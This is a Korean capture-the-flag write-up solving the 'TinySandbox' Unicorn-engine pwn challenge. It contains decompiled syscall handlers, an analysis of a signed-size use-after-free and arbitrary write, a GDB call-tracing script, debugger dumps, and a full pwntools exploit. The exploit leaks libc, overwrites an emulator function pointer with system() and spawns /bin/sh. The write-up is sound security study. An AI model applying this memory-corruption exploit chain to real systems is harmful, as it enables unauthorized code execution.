딴 CTF 하다가, hspace CTF가 열려있다길래 조금 풀다가 끝났었는데 그때 받아놓은 바이너리중에 unicorn engine pwn이 있어서 궁금해서 풀어봤다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 UC; // [rsp+8h] [rbp-13A8h] BYREF
char v5[8]; // [rsp+10h] [rbp-13A0h] BYREF
__int64 v6; // [rsp+18h] [rbp-1398h] BYREF
char code_[912]; // [rsp+20h] [rbp-1390h] BYREF
unsigned __int64 v8; // [rsp+13A8h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_1429(a1, a2, a3);
v6 = 0x1010000LL;
if ( (unsigned int)uc_open(4LL, 8LL, &UC) ) // x86_64
{
puts("UC Open Error...");
return 0xFFFFFFFFLL;
}
else
{
memset(code_, 0, 0x1388uLL);
printf("Insert Code >>> ");
if ( read(0, code_, 0x1000uLL) >= 0 )
{
uc_mem_map(UC, 0x1000000LL, 0x100000LL, 7LL);
if ( (unsigned int)uc_mem_write(UC, 0x1000000LL, code_, 0x1000LL) )
{
puts("UC mem_write Error...");
return 0xFFFFFFFFLL;
}
else
{ // RSP 0x1010000
uc_reg_write(UC, 0x2CLL, &v6);
uc_hook_add(UC, v5, 2LL, syscall_hooker, 0LL, 1LL, 0LL, 0x2BBLL);// instruction hook - X86 syscall opcode
uc_emu_start(UC, 0x1000000LL, 0x1001000LL, 0LL, 0LL);
puts("Bye~ :)");
return 0LL;
}
}
else
{
puts("Read Error...");
return 0xFFFFFFFFLL;
}
}
}
unsigned __int64 __fastcall syscall_hooker(void *UC_ENGINE)
{
__int64 REG_RAX; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 REG_RDI; // [rsp+18h] [rbp-28h] BYREF
unsigned __int64 REG_RSI; // [rsp+20h] [rbp-20h] BYREF
__int64 REG_RDX; // [rsp+28h] [rbp-18h] BYREF
ssize_t ret_; // [rsp+30h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
ret_ = 0xDEADBEEFLL;
uc_reg_read(UC_ENGINE, 0x23LL, ®_RAX); // UC_X86_REG_RAX
uc_reg_read(UC_ENGINE, 0x27LL, ®_RDI); // UC_X86_REG_RDI
uc_reg_read(UC_ENGINE, 0x2BLL, ®_RSI); // UC_X86_REG_RSI
uc_reg_read(UC_ENGINE, 0x28LL, ®_RDX); // UC_X86_REG_RDX
switch ( REG_RAX )
{
case 0LL:
ret_ = READ_FILE(REG_RDI, REG_RSI);
break;
case 1LL:
ret_ = WRITE_FILE(REG_RDI);
break;
case 2LL:
ret_ = OPEN(UC_ENGINE, REG_RDI, REG_RSI, REG_RDX);
break;
case 3LL:
ret_ = CLOSE(REG_RDI);
break;
case 4LL:
ret_ = ALLOC_STDIN_READ(REG_RDI);
break;
case 5LL:
ret_ = ALLOC_STDOUT_WRITE(REG_RDI);
break;
default:
break;
}
if ( ret_ == 0xDEADBEEFLL )
{
puts("Error :(");
exit(-1);
}
uc_reg_write(UC_ENGINE, 0x23LL, &ret_); // WRITE RAX
return v7 - __readfsqword(0x28u);
}
직접 소스코드 뒤져서 enum 찾아봤더니 syscall에 훅을 건다.
즉 syscall들이 구현되어있다.
ssize_t __fastcall READ_FILE(unsigned __int64 REG_RDI, unsigned __int64 REG_RSI)
{
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD >1
return 0xDEADBEEFLL;
if ( !(&qword_5068)[3 * REG_RDI] )
return 0xDEADBEEFLL;
if ( REG_RSI > (unsigned __int64)(&qword_5068)[3 * REG_RDI] )
return 0xDEADBEEFLL;
if ( !qword_5070[3 * REG_RDI] )
qword_5070[3 * REG_RDI] = malloc((size_t)(&qword_5068)[3 * REG_RDI] + 1);
return read(
(int)(&qword_5060)[3 * REG_RDI],
(void *)(REG_RSI + qword_5070[3 * REG_RDI]),
(size_t)(&qword_5068)[3 * REG_RDI] - REG_RSI);// read(FD,BUF+offset,SZ-offset)
}
파일을 읽어준다.
ssize_t __fastcall WRITE_FILE(unsigned __int64 REG_RDI)
{
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )
return 0xDEADBEEFLL;
if ( !(&qword_5068)[3 * REG_RDI] )
return 0xDEADBEEFLL;
if ( qword_5070[3 * REG_RDI] )
return write(
(int)(&qword_5060)[3 * REG_RDI],
(const void *)qword_5070[3 * REG_RDI],
(size_t)(&qword_5068)[3 * REG_RDI]);
return 0xDEADBEEFLL;
}
파일에 써준다.
__int64 __fastcall OPEN(void *UC_ENGINE, unsigned __int64 REG_RDI, unsigned __int64 REG_RSI, unsigned __int64 REG_RDX)
{
__int64 v7; // [rsp+20h] [rbp-B0h]
char *haystack; // [rsp+28h] [rbp-A8h]
struct stat buf; // [rsp+30h] [rbp-A0h] BYREF
unsigned __int64 v10; // [rsp+C8h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 0xDEADBEEFLL;
if ( (__int64)REG_RDX <= 0 || (__int64)REG_RDX > 0x40 )
return 0xDEADBEEFLL;
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] > 2 )
return 0xDEADBEEFLL;
haystack = (char *)malloc(REG_RDX + 4);
if ( !(unsigned int)uc_mem_read(UC_ENGINE, REG_RSI, haystack, REG_RDX) )
{
if ( strstr(haystack, "flag") || strstr(haystack, "dev") || strstr(haystack, "proc") )
return 0xDEADBEEFLL;
(&qword_5060)[3 * REG_RDI] = (_QWORD *)open(haystack, 66, 0x1B6LL);// NEWFILE
if ( (__int64)(&qword_5060)[3 * REG_RDI] > 2 )
{
if ( fstat((int)(&qword_5060)[3 * REG_RDI], &buf) == -1 )
return 0xDEADBEEFLL;
(&qword_5068)[3 * REG_RDI] = (_QWORD *)buf.st_size;
v7 = (__int64)(&qword_5060)[3 * REG_RDI];
}
}
free(haystack);
return v7;
}
파일을 열어준다.
flag를 바로 못열도록 필터링이 되어있다.
__int64 __fastcall CLOSE(unsigned __int64 REG_RDI)
{
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )
return 0xDEADBEEFLL;
close((int)(&qword_5060)[3 * REG_RDI]);
(&qword_5060)[3 * REG_RDI] = 0LL;
(&qword_5068)[3 * REG_RDI] = 0LL;
return 0LL;
}
파일을 닫는다.
ssize_t __fastcall ALLOC_STDIN_READ(unsigned __int64 REG_RDI)
{
__int64 v2; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD > 1
return 0xDEADBEEFLL;
write(1, "Insert Content Length >>> ", 0x1AuLL);
__isoc99_scanf("%lld", &(&qword_5060)[3 * REG_RDI + 1]);// SZ -> signed
v2 = (__int64)(&qword_5068)[3 * REG_RDI]; // GET LEGNTH
v3 = malloc(v2 + 1);
if ( v3 )
{
if ( qword_5070[3 * REG_RDI] ) // if BUF
{
free((void *)qword_5070[3 * REG_RDI]); // FREE BUF
qword_5070[3 * REG_RDI] = 0LL;
}
qword_5070[3 * REG_RDI] = v3; // SAVE BUF
write(1, "Insert Content >>> ", 0x13uLL);
return read(0, (void *)qword_5070[3 * REG_RDI], (size_t)(&qword_5068)[3 * REG_RDI]);
}
return v2;
}
malloc하고 거기에 데이터를 읽어서 넣어준다.
ssize_t __fastcall ALLOC_STDOUT_WRITE(unsigned __int64 REG_RDI)
{
if ( REG_RDI >= 0x200 )
return 0xDEADBEEFLL;
if ( (__int64)(&qword_5060)[3 * REG_RDI] <= 1 )// FD > 1
return 0xDEADBEEFLL;
if ( !(&qword_5068)[3 * REG_RDI] ) // SZ != 0
return 0xDEADBEEFLL;
if ( !qword_5070[3 * REG_RDI] ) // BUF != 0
return 0xDEADBEEFLL;
write(1, "Content >>> ", 0xCuLL);
return write(1, (const void *)qword_5070[3 * REG_RDI], (size_t)(&qword_5068)[3 * REG_RDI]);
} // FD > 1
// SZ
// BUF
STDOUT으로 내용을 출력해준다.
ALLOC_STDIN_READ 함수의 일부는 다음과 같다.
__isoc99_scanf("%lld", &(&qword_5060)[3 * REG_RDI + 1]);// SZ -> signed
v2 = (__int64)(&qword_5068)[3 * REG_RDI]; // GET LEGNTH
v3 = malloc(v2 + 1);
v2가 __int64라서 size 임의로 세팅 가능하고, UAF를 트리거할 수 있다.
READ_FILE 함수의 일부는 다음과 같다.
if ( !(&qword_5068)[3 * REG_RDI] )
return 0xDEADBEEFLL;
if ( REG_RSI > (unsigned __int64)(&qword_5068)[3 * REG_RDI] )
return 0xDEADBEEFLL;
if ( !qword_5070[3 * REG_RDI] )
qword_5070[3 * REG_RDI] = malloc((size_t)(&qword_5068)[3 * REG_RDI] + 1);
return read(
(int)(&qword_5060)[3 * REG_RDI],
(void *)(REG_RSI + qword_5070[3 * REG_RDI]),
(size_t)(&qword_5068)[3 * REG_RDI] - REG_RSI);
&(qword_5068)[3 * REG_RDI] 에 대한 검증이 미흡해 REG_RSI를 더 작게 만들어줘서 우회할 수 있다.
REG_RSI를 컨트롤 할 수 있으면 AAW가 가능하다.
import gdb
enable_syscall_trace = False
syscalls = ['mmap', 'read', 'write', 'brk', 'open', 'mprotect']
syscall_str = ' '.join(syscalls)
sym = []
def stop_handler(stopEvent):
global sym
sym_ = gdb.execute("info symbol $rip",to_string=True)
mapp = gdb.execute("xinfo $rip",to_string=True)
mapp = mapp[mapp.find('mapping:'):mapp.find('Offset info')].split()[-1]
if 'No symbol' not in sym_:
tar = sym_[:sym_.find(' ')]
if sym[-1] != tar:
sym.append(tar)
if 'linux-gnu' in mapp or 'vdso' in mapp:
gdb.execute("fin")
if 'call ' in gdb.execute("x/xi $rip",to_string=True):
next = gdb.execute("x/2xi $rip",to_string=True)
next = next[next.find("\n"):]
next = next[next.find('0x'):next.find(':')]
print("TRACE")
if enable_syscall_trace:
gdb.execute(f"catch syscall {syscall_str}")
a = gdb.execute("info symbol $rip",to_string=True)
if "No symbol" in a:
sym.append("START_TRACE")
else:
sym.append(a[:a.find(' ')])
gdb.execute("si")
gdb.events.stop.connect(stop_handler)
while str(gdb.parse_and_eval("$rip")) != next:
gdb.execute("si")
gdb.events.stop.disconnect(stop_handler)
c = 0
flag = {x : -1 for x in set(sym)}
for i,j in enumerate(sym):
if '_dl_runtime_resolve' in j:
flag[j]=-1
if flag[j]==-1:
flag[j] =c
elif flag[j] != -1:
c = flag[j]
tmp = ' ' * c + j
print(f"{i : <3} | {tmp}")
c += 1
else:
print("OPCODE != call")
함수 포인터로 호출하길래 적당히 덮을곳 찾으려고 함수에 대한 심볼들을 추적해주는 스크립트를 작성했다.
0 | START_TRACE
1 | uc_reg_write@plt
2 | uc_reg_write
3 | uc_reg_write_batch@plt
4 | uc_reg_write_batch
5 | x86_reg_write_x86_64
6 | uc_reg_write
rdi를 컨트롤할 수 있는 함수들을 보던중 uc_reg_write 함수가 있어서 한번 확인해보았다.
pwndbg> x/50xg $rbx
0x5652bf2a32a0: 0x0000000800000004 0x0000000000000000
0x5652bf2a32b0: 0x00005652bf2a6c80 0x00005652bf2c3cb0
0x5652bf2a32c0: 0x00005652bf2c3a48 0x00005652bf2c3a88
0x5652bf2a32d0: 0x00005652bf2a32e8 0x00005652bf2a3558
0x5652bf2a32e0: 0x00005652bf2a32a0 0x00005652bf2a72d0
0x5652bf2a32f0: 0x00005652bf2f1900 0x0000000000000000
0x5652bf2a3300: 0x00005652bf2a32f8 0x0000000000000000
0x5652bf2a3310: 0x00005652bf2a32d0 0x00005652bf2a32a0
0x5652bf2a3320: 0x0000000000000000 0x00007fd676dd95e0
0x5652bf2a3330: 0x00007fd676ddb300 0x00007fd676ddacf0
0x5652bf2a3340: 0x00007fd676ddac70 0x00007fd676ddac60
pwndbg> x/20xi 0x00007fd676ddb300
0x7fd676ddb300 <x86_reg_write_x86_64>: push r15
0x7fd676ddb302 <x86_reg_write_x86_64+2>: push r14
0x7fd676ddb304 <x86_reg_write_x86_64+4>: push r13
0x7fd676ddb306 <x86_reg_write_x86_64+6>: push r12
0x7fd676ddb308 <x86_reg_write_x86_64+8>: push rbp
0x7fd676ddb309 <x86_reg_write_x86_64+9>: push rbx
0x7fd676ddb30a <x86_reg_write_x86_64+10>: sub rsp,0x28
0x7fd676ddb30e <x86_reg_write_x86_64+14>: mov r12,QWORD PTR [rdi+0x168]
0x7fd676ddb315 <x86_reg_write_x86_64+21>: test ecx,ecx
0x7fd676ddb317 <x86_reg_write_x86_64+23>: lea rax,[r12+0x8750]
0x7fd676ddb31f <x86_reg_write_x86_64+31>: mov QWORD PTR [rsp],rax
0x7fd676ddb323 <x86_reg_write_x86_64+35>: jle 0x7fd676ddb3df <x86_reg_write_x86_64+223>
0x7fd676ddb329 <x86_reg_write_x86_64+41>: lea eax,[rcx-0x1]
0x7fd676ddb32c <x86_reg_write_x86_64+44>: mov rbp,rsi
0x7fd676ddb32f <x86_reg_write_x86_64+47>: mov r14,rdx
0x7fd676ddb332 <x86_reg_write_x86_64+50>: lea r15,[rsi+rax*4+0x4]
0x7fd676ddb337 <x86_reg_write_x86_64+55>: mov r13,r15
0x7fd676ddb33a <x86_reg_write_x86_64+58>: mov r15,r12
0x7fd676ddb33d <x86_reg_write_x86_64+61>: mov r12,rdi
0x7fd676ddb340 <x86_reg_write_x86_64+64>: mov ebx,DWORD PTR [rbp+0x0]
마침 uc_reg_write 함수는 x86_reg_write_x86_64를 호출하니 그걸 덮어주면 된다.
pwndbg> disass uc_reg_write
Dump of assembler code for function uc_reg_write:
0x00007fb5031d2390 <+0>: push rbx
0x00007fb5031d2391 <+1>: mov rbx,rdi
0x00007fb5031d2394 <+4>: sub rsp,0x10
0x00007fb5031d2398 <+8>: cmp BYTE PTR [rdi+0x76b],0x0
0x00007fb5031d239f <+15>: mov DWORD PTR [rsp+0xc],esi
0x00007fb5031d23a3 <+19>: mov QWORD PTR [rsp],rdx
0x00007fb5031d23a7 <+23>: je 0x7fb5031d23c8 <uc_reg_write+56>
0x00007fb5031d23a9 <+25>: lea rsi,[rsp+0xc]
0x00007fb5031d23ae <+30>: mov rdx,rsp
0x00007fb5031d23b1 <+33>: mov ecx,0x1
0x00007fb5031d23b6 <+38>: mov rdi,rbx
0x00007fb5031d23b9 <+41>: call 0x7fb5031b3860 <uc_reg_write_batch@plt>
익스할때 분기를 딴데로 타고 들어가길래, uc_reg_write_batch@plt를 호출하도록 [rdi+0x76b] 부분을 1로 덮어줬다.
from pwn import *
from os import system
sa = lambda x,y : p.sendlineafter(x,y)
context.binary = e = ELF('./TinySandbox')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
p = process("./TinySandbox",env={"LD_LIBRARY_PATH":"./"})
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x: p.recvuntil(x)
EMU_RSP = 0x1010000
def emu_syscall_OPEN(f_name : str,idx : int) -> bytes:
global EMU_RSP
shellcode = b''
shellcode += asm(shellcraft.pushstr(f_name))
EMU_RSP-=((len(f_name)+7)>>3)<<3
shellcode += asm(f'''\
mov rax, 2
mov rdi, {idx}
mov rsi, {EMU_RSP}
mov rdx, {len(f_name)}
syscall
''')
return shellcode
def emu_syscall_WRITE_FILE(idx : int) -> bytes:
shellcode = b''
shellcode += asm(f'''\
mov rax, 0x1
mov rdi, {idx}
syscall
''')
return shellcode
def emu_syscall_READ_FILE(idx : int, off : int) -> bytes:
shellcode = b''
shellcode += asm(f'''\
mov rax, 0x0
mov rdi, {idx}
mov rsi, {off}
syscall
''')
return shellcode
def emu_syscall_CLOSE(idx : int) -> bytes:
shellcode = b''
shellcode += asm(f'''\
mov rax, 0x3
mov rdi, {idx}
syscall
''')
return shellcode
def emu_syscall_ALLOC_STDIN_READ(idx : int) -> bytes:
shellcode = b''
shellcode += asm(f'''\
mov rax, 0x4
mov rdi, {idx}
syscall
''')
return shellcode
def emu_syscall_ALLOC_STDOUT_WRITE(idx : int) -> bytes:
shellcode = b''
shellcode += asm(f'''\
mov rax, 0x5
mov rdi, {idx}
syscall
''')
return shellcode
shellcode = b''
shellcode += emu_syscall_OPEN("A\x00",0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_ALLOC_STDOUT_WRITE(0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_WRITE_FILE(0)
shellcode += emu_syscall_CLOSE(0) # file offset reset 0
shellcode += emu_syscall_OPEN("A\x00",0)
shellcode += emu_syscall_ALLOC_STDIN_READ(0)
shellcode += emu_syscall_READ_FILE(0,-0xcab0) # + 0x88 -> x86_reg_write_x86_64
p.sendafter(b'Insert Code >>>',shellcode)
sla(b'Insert Content Length >>>',str(0x40-1))
sa(b'Insert Content >>> ',b'\xe0')
rvu(b'Content >>> ')
libc_base = u64(rvu(b'\x7f').ljust(8,b'\x00')) -0x219ce0
success(f'libc_base : {hex(libc_base)}')
sla(b'Insert Content Length >>>',str(0x770))
pay = b'/bin/sh\x00'
pay += p64(0)*((0x90-8)>>3)
pay += p64(libc_base + libc.sym.system)
pay += b'A'*(0x76b-len(pay))
pay += b'\x01'
pause()
sa(b'Insert Content >>> ',pay)
sla(b'Insert Content Length >>>',str(-1))
p.interactive()
system("rm -rf ./A")
고수시네용